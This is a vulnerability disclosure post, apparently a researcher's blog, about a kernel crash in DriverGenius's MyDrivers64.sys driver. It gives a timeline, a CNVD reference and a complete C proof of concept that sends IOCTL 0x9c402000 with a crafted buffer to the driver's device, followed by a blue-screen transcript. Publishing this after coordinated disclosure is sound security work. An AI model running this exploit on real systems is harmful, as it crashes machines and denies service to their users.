DriverGenius Hardware Monitor Driver allows attackers to cause blue screen

These page show one of the practical vulns that Found. I reported these bugs to cnvd on 24/8/2020 and cnvd confirmed the bug with DriverGenius Inc.. I think it is time to publish the detailed infomation here.

Time Line

- 24/8/2020 Bugs were reported to cnnvd.
- 22/9/2020 CNVD and DriverGenius got confirmation that the poc could cause system crash.
- 26/9/2020 CNVD published the bug at https://www.cnvd.org.cn/flaw/show/CNVD-2020-53152
- 12/11/2020 POC published.

Abstract

- Name: Driver Genius
- Date: 2020-8-24
- Reporter: Shuaibing Lu
- Vendor: http://www.drivergenius.com/
- Software Link: http://www.drivergenius.com/
- Version: DriverGenius 9.61.3708.3054

Description

The hardware monitor driver MyDrivers64.sys of DriverGenius 9.61.3708.3054 allows attackers to inject a crafted argument via the argument of an ioctl on device "\\.\MyDrivers0_0_1" with the command **0x9c402000** and cause a kernel crash.

To explore this vulnerability, some one must open the device file "\\.\MyDrivers0_0_1", call an ioctl system call on this device file with the command **0x9c402000** and a crafted payload as the third argument.

PoC

```
//Experimental environment: win10 x64
//Software official website: http://www.drivergenius.com/
//Software download address: http://www.drivergenius.com/
//Software version: DriverGenius 9.61.3708.3054
//Affected Component: MyDrivers64.sys

//poc


#include<stdio.h>

#include <windows.h>

typedef struct _IO_STATUS_BLOCK {

    union {

        NTSTATUS Status;

        PVOID    Pointer;

    } DUMMYUNIONNAME;

    ULONG_PTR Information;

} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;


typedef NTSTATUS(NTAPI* NtDeviceIoControlFile)(

    HANDLE           FileHandle,

    HANDLE           Event,
```

```
    PVOID            ApcRoutine,

    PVOID            ApcContext,

    PIO_STATUS_BLOCK IoStatusBlock,

    ULONG            IoControlCode,

    PVOID            InputBuffer,

    ULONG            InputBufferLength,

    PVOID            OutputBuffer,

    ULONG            OutputBufferLength

    );

int main() {
    char  DeviceName[] = "\\\\.\\MyDrivers0_0_1";
    long command = 0x9c402000;//please run driver genius!
    HANDLE hDriver = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    ULONG dw;

    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("Open device failed.\n");
        system("pause");

        return(-1);

    }

    LPCWSTR nt = L"ntdll";

    HMODULE hntdll = GetModuleHandle(nt);

    IO_STATUS_BLOCK p = {};

    NtDeviceIoControlFile tDeviceIoControl = (NtDeviceIoControlFile)GetProcAddress((HMODULE)hntdll, "NtDeviceIoControlFile");

    if (!tDeviceIoControl) {

        printf("[-] Fail to resolve ZwDeviceIoControlFile(0x%X)\n", GetLastError());

        system("pause");

    }

    printf("Start poc execution.\n");
    LPVOID lpFakeBuffer = malloc(0x20000);

    memset(lpFakeBuffer, 0, 0x20000);

    LPVOID Address = malloc(0x20000);

    memset(Address, 0, 0x20000);

    tDeviceIoControl(hDriver, 0, 0, 0, &p, command, lpFakeBuffer, 0, (PVOID)Address, 0);

    return 0;

}
```

References

CNVD: https://www.cnvd.org.cn/flaw/show/CNVD-2020-53152

Screenshot


:(
你的电脑遇到问题，需要重新启动。
我们只收集某些错误信息，然后你可以重新启动。
100% 完成
有关此问题的详细信息和可能的解决方法，请访问
https://www.windows.com/stopcode
如果致电支持人员，请向他们提供以下信息:
终止代码: SYSTEM_SERVICE_EXCEPTION
失败的操作: MyDrivers64.sys